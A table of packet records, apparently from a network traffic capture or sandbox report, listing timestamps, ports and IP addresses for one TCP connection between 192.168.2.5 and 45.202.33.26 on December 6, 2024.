Dec 6, 2024 14:19:46.314152956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.314203024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.314280987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.315135956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.315171003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.315197945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.315911055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.316068888 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.316101074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.316896915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.316941023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.317017078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.317898035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.317944050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.318061113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.318970919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.319061995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.319175959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.319922924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.319967985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.319976091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.320820093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.320864916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.320965052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.321809053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.321862936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.321911097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.322854042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.322926044 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.322968006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.323903084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.323949099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.323983908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.324836969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.324888945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.324906111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.325923920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.325973988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.326049089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.326905012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.326960087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.327024937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.327826977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.327876091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.327938080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.328780890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.328847885 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.328872919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.329722881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.329771042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.329850912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.330739975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.330799103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.330802917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.331696033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.331746101 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.331830978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.332770109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.332808971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.332904100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.333710909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.333755016 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.333774090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.334681034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.334728956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.334762096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.335690975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.335741043 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.335819006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.336688995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.336736917 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.336766958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.337691069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.337799072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.337820053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.338654041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.338711977 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.338751078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.339616060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.339663029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.339732885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.340719938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.340773106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.340801001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.341633081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.341717958 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.341969967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.342645884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.342689037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.342859983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.343817949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.343880892 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.343918085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.344619989 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.344702005 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.344830990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.345578909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.345626116 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.345710993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.346611023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.346659899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.346688986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.347584963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.347641945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.347687006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.348578930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.348598957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.348664999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.349555969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.349632025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.349663973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.350508928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.350567102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.350608110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.351521015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.351635933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.351676941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.352555990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.352606058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.352643013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.353494883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.353554010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.353590965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.354474068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.354526997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.354582071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.355479956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.355531931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.355572939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.356512070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.356578112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.356594086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.378773928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.378828049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.378906965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.379201889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.379250050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.379323959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.380203962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.380235910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.380260944 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.381191015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.381247997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.500632048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.500763893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.500828981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.501085997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.501300097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.501344919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.501365900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.502332926 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.502392054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.502412081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.503262043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.503289938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.503320932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.504245996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.504302025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.504347086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.505245924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.505299091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.505367041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.506230116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.506321907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.506367922 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.507422924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.507498980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.507513046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.508241892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.508344889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.508373022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.509217978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.509280920 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.509326935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.510170937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.510220051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.510288954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.511164904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.511226892 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.511254072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.512192011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.512268066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.512305975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.513149977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.513220072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.513252020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.514137983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.514192104 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.514295101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.515136003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.515197992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.515360117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.516113043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.516171932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.516247034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.517127037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.517188072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.517241001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.518109083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.518202066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.518234015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.519103050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.519155979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.519231081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.520077944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.520148993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.520183086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.521151066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.521203995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.521225929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.522058010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.522124052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.522161961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.523077965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.523135900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.523186922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.524028063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.524085999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.524128914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.525017023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.525075912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.525118113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.526014090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.526067019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.526108027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.526968956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.527072906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.527092934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.527987957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.528038979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.528045893 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.528959990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.529016018 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.529092073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.529989004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.530034065 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.530076981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.530945063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.531065941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.531092882 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.531969070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.532023907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.532069921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.532929897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.533001900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.533044100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.533914089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.534012079 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.534053087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.534889936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.534974098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.534975052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.535890102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.535984993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.536010981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.536878109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.536982059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.537014961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.537904978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.537964106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.538007021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.538897991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.538947105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.539012909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.539856911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.539910078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.539930105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.540839911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.540880919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.540945053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.541824102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.541878939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.541923046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.542829037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.542880058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.542907000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.543860912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.543910980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.543941975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.544804096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.544869900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.544905901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.545787096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.545835972 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.545895100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.546768904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.546839952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.546869993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.547765970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.547820091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.547875881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.548882961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.548918962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.548939943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.570513010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.570621967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.570630074 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.570959091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.571012020 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.571135044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.571240902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.571283102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.572113991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.572232008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.572300911 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.573127031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.680949926 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.692609072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.692739964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.692857027 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.693222046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.693403959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.693447113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.694171906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.694251060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.694338083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.695101023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.695265055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.695441961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.696086884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.696232080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.696271896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.697067022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.697197914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.697238922 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.698015928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.698122978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.698255062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.698987007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.699172020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.699218988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:46.700017929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:46.700136900 CET	1128	49704	45.202.33.26	192.168.2.5
